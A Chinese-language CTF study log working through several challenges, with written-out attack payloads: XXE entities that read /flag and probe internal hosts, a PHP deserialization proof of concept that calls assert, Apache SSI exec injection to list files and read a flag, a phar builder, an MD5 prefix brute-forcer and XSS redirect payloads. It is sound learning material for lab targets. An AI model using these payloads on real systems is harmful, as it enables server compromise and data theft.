NCTF2019

image-20210115102042563

xml题目:

https://xz.aliyun.com/t/6887

直接拿payload打:

<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///flag">
]>
<user><username>&test;</username><password>123</password></user>

发现不行!

linux环境下/etc/hosts文件详解

ARP协议

image-20210115104151775

从XML相关一步一步到XXE漏洞

打内网

4、探测内网端口与攻击内网网站

探测内网端口

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&xxe;</name>
</root>

暗网空间

直接访问

find / -name .bash_history

发现访问不了! .bash_history历史记录!

知道了/etc/hosts

和//proc/net/arp

这两个文件都可以获取主机内网IP

后:

访问/etc/hosts

image-20210115115559063

访问/proc/net/arp

image-20210115115619311

开始爆破

<!DOCTYPE ANY [
<!ENTITY test SYSTEM "http://10.43.210.2">
]>
<user>
<username>&test;</username>
<password>3333</password>
</user>

image-20210115115847032

这个盲XXE看的时候有点迷!自己复线感觉麻烦!!!后面遇到再学学把!

[NPUCTF2020]ReadlezPHP

image-20210115130701843

看到页面很有感触!19年的时候大一!玩这个差点劝退我!

<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}

@$ppp = unserialize($_GET["data"]);


2021-01-15 05:08:09

php反序列化

浅谈eval和assert

https://www.anquanke.com/post/id/173201

浅谈eval和assert

对于php免杀webshell的一些总结

经过测试!

assert 判断一个表达式是否成立。返回true or false;

assert既然是判断表达式是否成立!就不能assert(echo 1)

最后assert里的内容是函数什么的!而且不用加上分号结束!因为里面加的是表达式!

这点要和eval区分!eval里是字符串!所有写的时候,可以写php代码,加上分号表示结束!

php中assert和eval的详细介绍(代码示例)

还有一点注意:可变函数!

关于eval函数在php给出的官方说明是

eval 是一个语言构造器而不是一个函数,不能被 可变函数 调用
可变函数:通过一个变量,获取其对应的变量值,然后通过给该值增加一个括号(),让系统认为该值是一个函数,从而当做函数来执行
通俗的说比如你 `` 这样是不行的 也造就了用eval的话达不到assert的灵活,但是在php7.1以上assert已经不行

关于assert函数

assert() 回调函数在构建自动测试套件的时候尤其有用,因为它们允许你简易地捕获传入断言的代码,并包含断言的位置信息。 当信息能够被其他方法捕获,使用断言可以让它更快更方便!

本题目是php7.0

可以构造:

assert(system($_POST[1]))

好像system被办了!!!

用assert

poc

<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = 'phpinfo()';
$this->b = "assert";
}

}
$c = new HelloPhp();

$p=serialize($c);


echo $p;
O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}[Finished in 0.1s]

[BJDCTF2020]EasySearch

image-20210115172111499

敏感文件泄露

index.php.swp

<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";

}else
{
***
}
***
?>

脚本:

import hashlib
from multiprocessing.dummy import Pool as ThreadPool
def md5(s): # 计算MD5字符串
return hashlib.md5(str(s).encode('utf-8')).hexdigest()

keymd5 = '6d0bc1' #已知的md5截断值
md5start = 0 # 设置题目已知的截断位置
md5length = 6

def findmd5(sss): # 输入范围 里面会进行md5测试
key = sss.split(':')
start = int(key[0]) # 开始位置
end = int(key[1]) # 结束位置
result = 0
for i in range(start, end):
# print(md5(i)[md5start:md5length])
if md5(i)[0:6] == keymd5: # 拿到加密字符串
result = i
print(result) # 打印
break

list=[] # 参数列表
for i in range(10): # 多线程的数字列表 开始与结尾
list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = ThreadPool() # 多线程任务
pool.map(findmd5, list) # 函数 与参数列表
pool.close()
pool.join()
<?php
for ($x=0;$x<9999999;$x++)
{
$admin = '6d0bc1';
if ( $admin == substr(md5($x),0,6)) {
echo "数字是:$x <br>";
break;

}}

//2020666
a='abcd'
print (a[3:])

image-20210115173552276

试一试python的集合!python还没学!这个寒假!学下!上回学到太水!

image-20210115174236793

发现有这个!:

这时啥:

Apache SSI 远程命令执行漏洞

当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用语法执行命令。

使用SSI(Server Side Include)的html文件扩展名,SSI(Server Side Include),通常称为”服务器端嵌入”或者叫”服务器端包含”,是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。

CGI是什么

CGI

早期的Web服务器,只能响应浏览器发来的HTTP静态资源的请求,并将存储在服务器中的静态资源返回给浏览器。随着Web技术的发展,逐渐出现了动态技术,但是Web服务器并不能够直接运行动态脚本,为了解决Web服务器与外部应用程序(CGI程序)之间数据互通,于是出现了CGI(Common Gateway Interface)通用网关接口。简单理解,可以认为CGI是Web服务器和运行其上的应用程序进行“交流”的一种约定。

Apache SSI 远程命令执行漏洞复现

payload:

利用SSI注入漏洞,我们可以在username变量中传入ssi语句来远程执行系统命令。

<!--#exec cmd="命令"-->
<!--#exec cmd="ls ../"-->
<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->

image-20210115203449513

image-20210115203455676

[BJDCTF 2nd]xss之光

image-20210115203659120

xss?

扫一下目录!

python3  dirsearch.py -u http://476af397-2696-4694-8634-8cbd8e320dd1.node3.buuoj.cn/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,429

image-20210115204721780

<?php
$a = $_GET['yds_is_so_beautiful'];
$b = unserialize($a);

一文让PHP反序列化从入门到进阶

PHP反序列化由浅入深

<?php
class Template{

}

$phar = new Phar("aaa.phar"); //后缀名必须为 phar
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$object = new Template;
$phar->setMetadata($object); //将自定义的 meta-data 存入 manifest
$phar->addFromString("a.txt", "a"); //添加要压缩的文件 着个没用
//签名自动计算
$phar->stopBuffering();

phar反序列化

image-20210115212605560

序列化的范围

image-20210115213529270

对象,数组,变量,函数,类

学着学着又学偏了!

这个题是XSS

但是和反序列化还是有关系的!

image-20210115213754764

<?php

$a='<script>alert(1)</script>';
echo urlencode(serialize($a));


再看看js

https://www.runoob.com/js/js-window-location.html

window.location 对象用于获得当前页面的地址 (URL),并把浏览器重定向到新的页面。

<script>window.location.assign('https://www.runoob.com');</script>
<script>window.location.href='https://www.baidu.com'</script>
<script>window.location.assign('https://www.baidu.com');</script>

payload

<?php

$a='<script>window.location.assign('https://www.runoob.com')</script>';
echo urlencode(serialize($a));


image-20210115214957160

image-20210115215405028

最后自己测试了下:

还是window.location.href好用!